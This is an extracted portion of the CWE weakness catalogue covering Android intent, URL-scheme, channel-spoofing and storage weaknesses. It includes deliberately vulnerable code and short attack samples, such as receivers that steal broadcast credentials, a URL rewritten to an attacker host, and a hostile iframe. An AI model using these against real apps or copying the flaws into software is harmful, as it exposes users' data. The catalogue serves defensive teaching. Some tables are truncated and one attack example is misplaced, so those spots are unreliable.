This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|------|--|---|------|
| MemberOf |  | 1337 | Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses | 1337 | 2253 |

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | C | 1356 | OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF) | 1344 | 2213 |

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

CWE-920: Improper Restriction of Power Consumption

Weakness ID : 920

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.

Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might

not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O
- GPS
- Sound
- Microphone
- USB interface

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|--------------|--|------------|
| Availability | DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart <i>The power source could be drained, causing the application - and the entire device - to cease functioning.</i> | |

CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Weakness ID : 921

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software stores sensitive information in a file system or device that does not have built-in access control.

Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.

On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 922 | Insecure Storage of Sensitive Information | 1654 |

Technology : Mobile (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Application Data Read Files or Directories <i>Attackers can read sensitive information by accessing the unrestricted storage mechanism.</i> | |
| Integrity | Modify Application Data Modify Files or Directories <i>Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.</i> | |

References

[REF-921]Android Open Source Project. "Security Tips". 2013 July 6. < <http://developer.android.com/training/articles/security-tips.html#StoringData> >.

| | |
|----------------------------|----------------------------|
| Weakness ID : 922 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software stores sensitive information without properly limiting read or write access by unauthorized actors.

Extended Description

If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|
| MemberOf | V | 1003 | Weaknesses for Simplified Mapping of Published Vulnerabilities | 1003 | 2239 |
| MemberOf | C | 1345 | OWASP Top Ten 2021 Category A01:2021 - Broken Access Control | 1344 | 2203 |

Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Maintenance

This is a high-level entry that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

Weakness ID : 923**Status:** Incomplete**Structure :** Simple**Abstraction :** Class**Description**

The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

Extended Description

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| 501 | Android Activity Hijack |

CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

| | |
|---------------------------|----------------------------|
| Weakness ID : 924 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Extended Description

Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|-----------------|--|------------|
| Integrity | Gain Privileges or Assume Identity | |
| Confidentiality | <i>If an attackers can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.</i> | |

Notes

Maintenance

This entry should be made more comprehensive in later CWE versions, as it is likely an important design flaw that underlies (or chains to) other weaknesses.

CWE-925: Improper Verification of Intent by Broadcast Receiver

Weakness ID : 925

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

Extended Description

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Alternate Terms

Intent Spoofing :

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---|------------|
| Integrity | Gain Privileges or Assume Identity <i>Another application can impersonate the operating system and cause the software to perform an unintended action.</i> | |

Potential Mitigations

Phase: Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: XML (bad)

```
<manifest package="com.example.vulnerableApplication">
  <application>
    ...
    <receiver android:name=".ShutdownReceiver">
      <intent-filter>
        <action android:name="android.intent.action.ACTION_SHUTDOWN" />
      </intent-filter>
    </receiver>
    ...
  </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Example Language: Java (bad)

```
...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(final Context context, final Intent intent) {
    mainActivity.saveLocalData();
    mainActivity.stopActivity();
  }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Example Language: Java (attack)

```
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

CWE-926: Improper Export of Android Application Components**Weakness ID :** 926**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant**Description**

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

Extended Description

The attacks and consequences of improperly exporting a component may depend on the exported component:

- If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.
- If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.
- If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------|------|
| ChildOf |  | 285 | Improper Authorization | 635 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Background Details

There are three types of components that can be exported in an Android application.

Activity

An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

Service

A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.

Content Provider

The Content Provider mechanism can be used to share data with other applications or internally within the same application.

Common Consequences

| Scope | Impact | Likelihood |
|------------------------------|--|------------|
| Availability Integrity | Unexpected State DoS: Crash, Exit, or Restart DoS: Instability Varies by Context <i>Other applications, possibly untrusted, can launch the Activity.</i> | |
| Availability Integrity | Unexpected State Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart DoS: Instability Varies by Context <i>Other applications, possibly untrusted, can bind to the Service.</i> | |
| Confidentiality Integrity | Read Application Data Modify Application Data <i>Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.</i> | |

Potential Mitigations

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If they do not need to be shared by other applications, explicitly mark components with `android:exported="false"` in the application manifest.

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If you only intend to use exported components between related apps under your control, use `android:protectionLevel="signature"` in the xml manifest to restrict access to applications signed by you.

Phase: Build and Compilation

Phase: Architecture and Design

Strategy = Attack Surface Reduction
Limit Content Provider permissions (read/write) as appropriate.

Phase: Build and Compilation

Phase: Architecture and Design
Strategy = Separation of Privilege
Limit Content Provider permissions (read/write) as appropriate.

Demonstrative Examples

Example 1:
This application is exporting an activity and a service in its manifest.xml:

Example Language: XML (bad)

```
<activity android:name="com.example.vulnerableApp.mainScreen">
  ...
  <intent-filter>
    <action android:name="com.example.vulnerableApp.OPEN_UI" />
    <category android:name="android.intent.category.DEFAULT" />
  </intent-filter>
  ...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
  ...
  <intent-filter>
    <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
  </intent-filter>
  ...
</service>
```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

Example 2:
This application has created a content provider to enable custom search suggestions within the application:

Example Language: XML (bad)

```
<provider>
  android:name="com.example.vulnerableApp.searchDB"
  android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

CWE-927: Use of Implicit Intent for Sensitive Communication

| | |
|-----------------------|--------------------|
| Weakness ID : 927 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The Android application uses an implicit intent for transmitting sensitive data to other applications.

Extended Description

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------------|------|
| ChildOf |  | 668 | Exposure of Resource to Wrong Sphere | 1342 |
| ChildOf |  | 285 | Improper Authorization | 635 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data <i>Other applications, possibly untrusted, can read the data that is offered through the Intent.</i> | |
| Integrity | Varies by Context <i>The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.</i> | |

Potential Mitigations

Phase: Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

Demonstrative Examples

Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

Example Language: Java

(bad)

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

Example Language: Java

(attack)

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

Example 2:

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

Example Language: Java

(bad)

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

Example Language: Java

(attack)

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

Example 3:

This application is sending an ordered broadcast, asking other applications to open a URL:

Example Language: Java

(bad)

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

Example Language: Java

(attack)

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + Url;
        setResultData(attackURL);
    }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

Example 4:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java

(bad)

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java

(attack)

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

CWE-939: Improper Authorization in Handler for Custom URL Scheme

Weakness ID : 939

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-----------------------|------|
| ChildOf |  | 862 | Missing Authorization | 1615 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|------------------|------|
| MemberOf |  | 1011 | Authorize Actors | 2142 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------------|------|
| MemberOf |  | 1212 | Authorization Errors | 2192 |

Applicable Platforms

Technology : Mobile (Prevalence = Undetermined)

Potential Mitigations

Phase: Architecture and Design

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

Example Language: Objective-C

(good)

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
```

```
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

Example Language:

(bad)

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
    if (!url) {
        return NO;
    }
    NSString *action = [url host];
    if([action isEqualToString: @"replaceFileText"]) {
        NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
        //this function will write contents to a specified file
        FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
    }
    return YES;
}
```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

Example Language: HTML

(attack)

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java

(bad)

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C

(bad)

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([URL scheme] isEqualToString:@"exampleScheme"])
```

```
{
  NSString *functionString = [URL resourceSpecifier];
  if ([functionString hasPrefix:@"specialFunction"])
  {
    // Make data available back in webview.
    UIWebView *webView = [self writeToView:[URL query]];
  }
  return NO;
}
return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript (attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

| Reference | Description |
|---------------|--|
| CVE-2013-5725 | URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5725 |
| CVE-2013-5726 | URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5726 |

CWE-940: Improper Verification of Source of a Communication Channel

| | |
|--------------------|--------------------|
| Weakness ID : 940 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 923 | Improper Restriction of Communication Channel to Intended Endpoints | 1656 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1014 | Identify Actors | 2145 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|------------------------------|------|
| MemberOf |  | 417 | Communication Channel Errors | 2042 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Gain Privileges or Assume Identity | |
| Other | Varies by Context | |
| | <i>An attacker can access any functionality that is inadvertently accessible to the source.</i> | |

Potential Mitigations

Phase: Architecture and Design

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java

(bad)

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java (bad)

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C (bad)

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript (attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

| Reference | Description |
|---------------|---|
| CVE-2000-1218 | DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1218 |
| CVE-2005-0877 | DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0877 |
| CVE-2001-1452 | DNS server caches glue records received from non-delegated name servers https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1452 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|---|------|------|
| MemberOf |  | 1353 | OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures | 1344 | 2210 |

Notes

Relationship

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

CWE-941: Incorrectly Specified Destination in a Communication Channel

Weakness ID : 941

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the software to communicate with an unintended destination:

- If the software allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.
- If the software incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the software might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular

application, but since sticky broadcasts can be processed by **any** receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python

(bad)

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2013-5211 | composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211 |
| CVE-1999-0513 | Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513 |

| Reference | Description |
|----------------------|---|
| CVE-1999-1379 | DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1379 |

CWE-942: Permissive Cross-domain Policy with Untrusted Domains

Weakness ID : 942

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses a cross-domain policy file that includes domains that should not be trusted.

Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a list of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.

An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

Relationships

